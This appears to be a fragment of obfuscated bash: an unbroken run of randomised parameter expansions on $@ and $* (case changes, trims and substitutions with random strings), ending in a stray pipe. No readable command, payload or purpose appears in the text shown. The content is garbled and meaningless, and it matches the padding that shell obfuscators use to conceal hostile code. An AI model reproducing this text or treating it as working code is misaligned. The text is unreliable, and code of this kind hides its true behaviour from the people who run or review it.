${@~} ${*#9GY\`G} ${!@} ${@/\[zVh6+} ${*/&O7\XogU} ${*^} ${@##y*\!Mu} $* ${*^} "${@~}" ${*^^} ${*,,} ${@,} "${@##a84~2Sp\(}" ${@^^} "${@//gptq\)w}" $* ${*} ${!@} ${*^^} ${@^^} ${*~} ${*~~} ${*~} ${*~~} ${*,} ${@#91a\"Ype} ${*%j\[@bU} "${@^^}" ${*,} ${@%CiKY%} ${@#pa5\`b} "${@^^}" ${*#R7%+4} "${@,,}" "${@^}" "${@}" ${*} ${@/Fi0\}/cn\}Cg6\!u} ${*%HSO?i~0n} ${!*} ${*,} ${*/|v>x|ZX\(} ${@/jB*W\{PO9} "${@~~}" $* ${@^^} "${@#gsDR}" ${*~~} ${*/\]o\DH} ${@^^} ${*##WjmzE*\!&} "$@" ${@^^} ${*^^} "$@" ${@^} ${@~} ${*~~} "${@}" "${@^}" ${*~} ${*/NC^M/n0nCKHg} $* ${*^} ${*^} ${@^^} ${@#CBgi*P_} ${*~~} ${*^} "${@/l4q\"q/XIqo}" ${@##Z0v\[WO} ${*/@g^O/\{#V2@lGd} "${@#Qb|&sj}" ${*##0\"owH*\}O} ${*,} "${@^^}" ${@%%Gm,U} ${@~~} "${@/t#Vyr>~C}" "${@//4mNlM<}" "${@//M9owPWG|/\[Sf:\uw\]}" ${@%WelvETo} ${!@} ${*//Q0\}K;u_} ${@/Mi*js+} ${*} ${*%%\{xf\]F8} "${@,,}" ${@#ZfX*zbj} ${*#5_\(P} ${*~~} ${@%;bri9} "${@,,}" ${@^^} ${*%%~\N$8\]>3} ${*//5GWpn/hdvK} ${*//>\`.dD\)Ph/@bZP} $* ${*~} ${*%CBW8;.bf} ${*##12KF9\Z} "${@~}" ${*} ${!@} "${@/4I\{Cr3>Z/?k\[m1o\}F}" "${@^}" ${*#rT33O} ${*#6Wy&&} ${*^} ${*~} ${*^} ${*,,} "${@,}" "${@#k8kc}" "${@/Jw\ora<}" ${*/YWQo\)6F} ${!@} "${@%v\`>;}" ${*~~} "${@//*6\{*2KM}" ${@%%&N2jb~-&} "${@,}" ${@~} ${*,,} ${*%%?\]AN:n} ${@,} "${@~}" "${@,,}" ${*,} "${@^}" ${*~} ${*~~} "${@##\"\(Oy}" "${@^}" "${@~~}" ${*%%J1Vg\(R\]@} ${*,,} "${@/i_;^zvo}" ${*^} ${*//2^zbB\fY} ${*%Y%cu\{} ${*/:u\}#Q1} "${@,}" "${@^^}" "${@%%hdeaB&u}" "${@~~}" "${@/-H;c\},/uqJ^&?}" ${@/Jg@E/;5QHV1U} ${!*} "${@%%\(g9l}" "$@" ${@^} "${@}" ${@#&M,CDQO} ${*} ${*/Zi*02} "${@}" ${*} "${@~}" ${@%%50MOCC} ${*^} ${*#iRm7h\{g:} ${!@} ${*^^} ${@~} ${*%%C7N.} ${*#4v=j:} ${@~} "${@/~X^hfV}" ${*##\(V>0zc} ${*#2BZaxV$} ${*,} ${*//uUtq#UBW/84IFW$l} ${@%%IxV9x\[} ${*/~of0$/AY2PL} ${@/KXt.Lyi} ${!*} "${@}" ${*^^} ${@//2S$hHB} ${!@} ${@~~} ${@/?5#+\{\]/+nNIx_} ${*,,} ${*##b1gtj~} "${@,,}" "${@%%|g\(\{EP}" ${*/&<rh/=j6F0BK} ${!@} $* "${@%kdArPxh6}" ${@^} "$@" "${@~}" ${*##oq:J} ${@//~W-Z*D/\{xQ^AH} ${@##>V\}PSew} "${@}" ${*#\{M?UWz\[e} "${@%Gu;T;CS6}" "${@,,}" ${*,} ${*//9u9$\]D.} ${*##E.PJTMW} ${*#YyEM} ${*^} ${*%9846} ${*} ${*} "${@/Tb#d:Z:/A^Ka}" "${@/1<D,&9<C}" ${*##a?\]D} ${*//1VY?/TKe\`YC} "${@//ubUbA/GNa?Y\OE}" ${*,} ${@} "${@%SP2D-}" $@ ${@%D\x,Y} ${*^} ${*//sQpn8\`iP/a8\}VrrX} ${*} ${*^^} ${*/vmst} ${*~~} "${@^}" ${*~~} ${@,,} ${*,} "${@##7-h*_}" ${@^^} $* ${!*} ${@%X^omy\}m} "${@%Nsd\{\},.}" ${*~} ${*/M:yoa^.} "${@##iSY%6Y}" ${*%%0D+?;uG} ${*/LN7_} ${!*} "${@,,}" "${@~}" ${@~} ${*~~} ${*#k<U\{KC} ${*%%qf#Jo} ${@/evgt} ${*^^} ${*} "${@^^}" ${*^} "${@//rExTP/l;\)i\`,}" $* "${@~}" ${*^^} ${@%%__r=} ${*#dX<q7Gw} "${@%j\]r?6}" ${@^} ${*/_TFH+\{b/?cB_p} "${@//Uu~0u/eh%\!}" "${@^}" ${*~~} ${*/hI\]I\7/G\)+hK} ${@/FRUNPW3z/U6Y=anu} "${@^^}" ${*} ${@%?5\]U4p} ${*//@R#\!Ph\`} "${@//Tc,nk}" ${*/Y6I~$S:F} ${*,,} "${@%%\}>_\}\(AK^}" ${@##iH|+Tv} ${*^^} ${@^} "${@%%\].3HKm}" ${@%zndLL} ${*/*9+\"oc} "${@%%v\F%}" ${@%\(B\}.} ${*%%hp\}TmS\[} ${*//TS|>a?g#/2\8c<} "${@//0QcSKZ\[n/Amy=<SU}" ${@/*@+^h} ${*#Y@c+R\)Ak} "${@#jxhp\\}" "${@}" ${*~} ${!*} "${@^}" "$@" ${*^^} ${*//g1;o} ${*~~} ${*/t8.1zW/iTSp7=l=} "${@~}" "${@/G5fQ}" "${@,}" ${*/q\]*>} "${@^^}" "${@^^}" ${*//SABV%54/I#dx-C} ${*##2\"M5&$RJ} "${@%cBu;}" ${*~~} ${@//.nmqEQ\[/*;~W\`} ${*//%1LTF#@Q/doHqAW} ${@%OcqMMyWn} ${@//wUc,ZPpc} ${@~} "${@~}" ${@^} ${*,,} ${*~} ${*/3u;W0T} ${@##dgB14} "${@%%I|g*dzaq}" ${*} ${@~} ${*^^} "${@##v*Hxs}" ${*~~} ${*%%~y\)i.2O} ${*} ${@//TKJ_~} "${@//nVV=$}" "${@//Yd\[Tf}" ${@//\]W4~oOnp} ${!*} ${@##:pv@\!SUh} ${*/5\}cK,j\\/Cq,cEAZY} "${@^^}" "${@/NMcO\}/n\}Q11BX0}" ${*^} ${*%>.:\)} ${!*} "${@//c9.\!a}" "${@%NAbV}" ${*#\)\"M@} "${@^}" ${*,} ${*##%w\C} ${@,} ${@~} ${*^^} "${@~~}" $* $@ ${@,,} ${*##\[f?@\)n} ${@#CL&;e} ${*%RtzY\\} ${*^} ${@~} ${*,,} "${@#IxbeRJ.}" ${*} "${@~}" "${@%%om8Z}" ${*//.^3t/r3Wy?} ${@} ${*#I\(2Uv#1*} ${*} "${@/pK1m\[5/s<ct0LHa}" "${@%x0j6UoJH}" ${*~} ${*//b5T_Z/NPK3WtY@} ${@%%E\{Otqb:} $@ ${*//O\!+6Pv} ${*%%2>A1} ${*/=GQ@/ajoN<?1t} ${*^} ${@//YE5<9} ${!@} "${@}" ${*//PY*YNLcD/\)hw?&} ${@^^} ${!@} ${@^} ${*^} ${*~} ${!*} "${@~}" ${*##\}YtWqmFt} ${*%%>coyR} ${*//eh,L0C} "${@,,}" "${@~}" "${@%\!,RAh,}" "${@~~}" ${*//\@xZig/7.fTY} ${*^^} ${*/\{JWJt/cKH\(pd} ${*,} ${*//o2>j} ${*##eU\)2bY\}} ${*/Q\(x0sNx8} ${@^^} ${@~} "${@/#9zdv/_Ulk9Rx}" "${@%\"<=642O}" "${@,}" "${@#L\`T*}" ${@#|9a8:VlE} $* ${*,} ${*~~} ${*//\!0\"z=} "${@^}" ${@%;2eo} ${*} "${@}" ${*,} ${!*} ${*//#o4#Kp\[-} ${*} ${*,,} ${*//47@z} "${@,}" "${@~}" ${*^^} ${*//iTECg} ${*~} "${@~~}" ${*%M\[Jq1} ${*%?h\`Q9R} ${*/\]\{@F\}w+/CZaavliT} "${@//25V#K/7g1P}" ${*/ju+BP6CJ/-#\}B7p4} ${*%\(iuc;E5H} "$@" ${@/d\`omP} "${@^^}" "${@%k=eLV2}" "${@,}" "${@/p\{qh}" "${@##n^$cv\`|c}" "${@^^}" ${*#,xiTn:6} ${@} "${@%\{IrpZ\VH}" ${@} ${@} "${@//jGu\{j-|}" ${*//6\)Zr:/?kC4,} ${*} ${*%L*IBl+=\!} ${!@} ${*^^} "${@,,}" "${@#xd1\(m_}" ${*//f\[mY,yNs} ${@~} "${@~~}" ${*###7Nt\"+zX} ${!@} ${*/wZpJbdu/;\(I@fo} ${*#gms\[:} ${@/~iT0+.\`O/Ym\}JE} ${@,,} ${@,,} ${@//,\}\{oK*E} ${*~} "${@/sP$?JH}" "${@%rM_Qd}" "${@~}" ${*%&m\)XG;;} ${*##lZ~V} "${@,}" ${*~} "${@^}" "${@,}" "${@%%.+Of4l}" ${@~~} ${*,} "${@^}" "${@/l\)\(\[#?H|}" ${*} ${*/\[rgKX\`;-} ${*##F<SL#p+} ${!@} ${!*} ${@,,} "${@~}" $* ${!*} ${@~~} ${@^} "${@%%4qGvJF^}" ${*/8vj+/fO1a1:RW} ${!@} "${@//U<3I;/p;~q-l>N}" "${@%t\}k1}" "${@^}" ${@#oT;XUpm} ${@%+n\[7SYmA} "${@^}" ${*^^} ${*^^} ${*##7+P<} "${@~~}" ${@,,} ${*/,3-\(t} "${@~~}" ${*^^} ${@,,} ${@~} ${*,} ${!@} $* "${@%%Wo>Q}" ${*~~} ${*%%\A.T_<vp} $* ${!@} ${!*} ${@//vU?>I/gT|#RjXz} ${*^} ${*,} "${@%o-~TC6\[H}" ${*/Q7f#D~r/0Y4G} ${@%\"4\w} ${@,} ${*/jGHV:RmJ/AVn5?~} ${*%%Z\!\!U*} ${@%%VV~l} "${@^^}" ${@#Q+.5Nh\}T} ${*//>o:u\"ha} "${@%w\"jFQL6V}" ${*//Zo|g/ar9u} ${@%?\!FIz$\[} "${@//*\";yo/PJ_38^}" ${@/\(;~jLycU/g=>H} "${@/pLcLqy\`/cYm4>@hQ}" ${@/+KP\}x/X\-EE} ${@%8lkNg} ${!*} ${*##<^0m%rxU} ${*,} ${*//U-J07Q6H/^f.%Z} ${*#P?cSvEZ} ${*~} ${!*} ${@/7u~Ze1N_/,P#F} "${@//u,7\",N.}" ${*~} ${*^^} ${@/X_q:E} "${@/_;01F/i?l>}" ${*,,} ${*%ZOok~N} ${*,} ${*^} ${*/*W1@XPc/2|OGV} $* ${@#Nv\(I,Bhc} ${@%%#<O8?\]} ${*#Cp<n+\"} ${@/aZKKx} "${@##woaC}" "$@" "${@^}" "${@#p$wzq}" ${*%%P\[cX&l} ${!*} ${!*} ${@^^} ${*/M-y\]N>C/\)B&F1c} ${@^} ${*%%Q7iJ7} ${*,} ${*^} $* "$@" ${*#0aDR\)} ${*//RL02} ${*%Pr\`Sc} ${*~} "${@^}" ${*%maF5k\[} ${*#s\}\|n\]} ${@//Ia;Ub/5wv8} "${@^^}" "$@" ${*/0tQ,>E/Cv+*} "${@#4nmb}" ${*%dY|e\)F} $@ ${@##9C0A.zcs} "${@//H7gZGc/>wKIC\!}" ${*/BrxT1/n3zQpo} ${!*} ${!*} ${!@} "${@^^}" ${*//*&jiOBW/h5En~} $@ ${*#g^r*u} $@ ${@/6u&>\{Qha} "${@^^}" $* )" ${*,} ${*#Dq_~*} "${@~~}" ${@~} "${@//U4UC/T7Imsv}" ${@^^} ${*%%\[Q&Ad;GZ} ${!@} ${*,,} "${@%%a63m83}" ${@##bpDOZJ-Q} "${@%4VhD?KD}" ${@//Rg9ROj} ${*%k\!\(xs\}} ${*^} ${!*} ${*/dC_H&M</rofk|\!} ${*} ${*,} ${*^^} ${*%\!88Bz=} ${*#j,<~c1y?} ${*,,} "${@//xKgu\(\[Ll/d\`eY3A\]M}" "${@,}" ${@} ${@//uARf7~U8/VJ\{\]f\`} ${*#\{VrI>d} ${*~} ${@~~} ${*/kf9a|D/V\{<;|} "${@^^}" "${@~~}" "${@%-7VnWA>}" ${*//RM\!>\(} ${*%cx?\(x_} ${*/mzwNc} ${@/\"0c9Su7/xh\}8} "${@%QT.H}" "${@%GTnq*06o}" ${*} "${@%>B$fZRg}" "${@/90BoDm\]^/B*Id<:DU}" "${@//,T\(6.EL\[}" "${@#cEnx9Z+}" ${@^^} ${*} ${@,} ${*/I\)ydg$lL/x.b3KZPV} ${*//6ElhjmS/%K3\[Bh4} ${*,} ${*~~} ${@%%b=,Ab,Ks} ${*,} ${*~} "${@%%auU5ZgJ?}" $* "${@}" ${*~} $@ ${@##,RNE\[} "${@^^}" ${*^} ${*^^} "${@//IEM_/l3u$fC>}" "${@/vB^#/2hs\)6}" "${@//0M:1,p_/bi&Y\(:}" ${*//TT\{s9bH/9-Zc,\}rK} ${*^^} ${*//nrP6} $@ ${*/\{z%,} "${@#xb,Q}" ${*~} ${@~} ${*/$Wl;Hdp} ${*#JTp,7.~q} ${*%\(~+X\`} ${*%%E501} "${@//vFB=/\[w7FGi}" ${*} ${!@} ${@//WucuF} ${@%%fpJf6} "${@%$|Og}" ${*,,} "${@~~}" ${@%%29-\[A} "${@/\(r^$P}" ${*^^} ${*,} ${*/c%OYB\)\(} ${*,} ${@^} "$@" ${@//\`_y#V/%K~GHO} ${*^} ${*#M+22S} "${@#FV~LD|}" "${@%%7Z\]ng.<I}" ${@##m\!_Q} ${*,} ${*#d*Vq\]} ${@,} "${@#O^\`t}" "${@/wH0s}" ${*^} ${*//z?AP/iXPQ\`*} ${@//$bM.AhxZ/o\{P&DZ~z} ${@^} ${@~} ${@~} ${*//kv3oE<:} ${*^^} ${@%%9e\}S} ${*//dQ\`P^Yj/XS<z} ${*/\]zY-z^H/*R%f} ${*//DKV\[mV:@/yBhK^\\} ${*%%7KW+} ${*~~} ${*%Qflldz5} ${@//Oc26E} ${@//*w7dSb\[/\`\`g\`\!?} "${@/SRcsV?K/.cg2}" ${*~~} "${@~}" $* ${!*} ${*^^} ${!@} ${@//Dp\)y0*g/_Q<qs} ${!@} "${@//dlGo.Kc;/\]fo*a3}"
|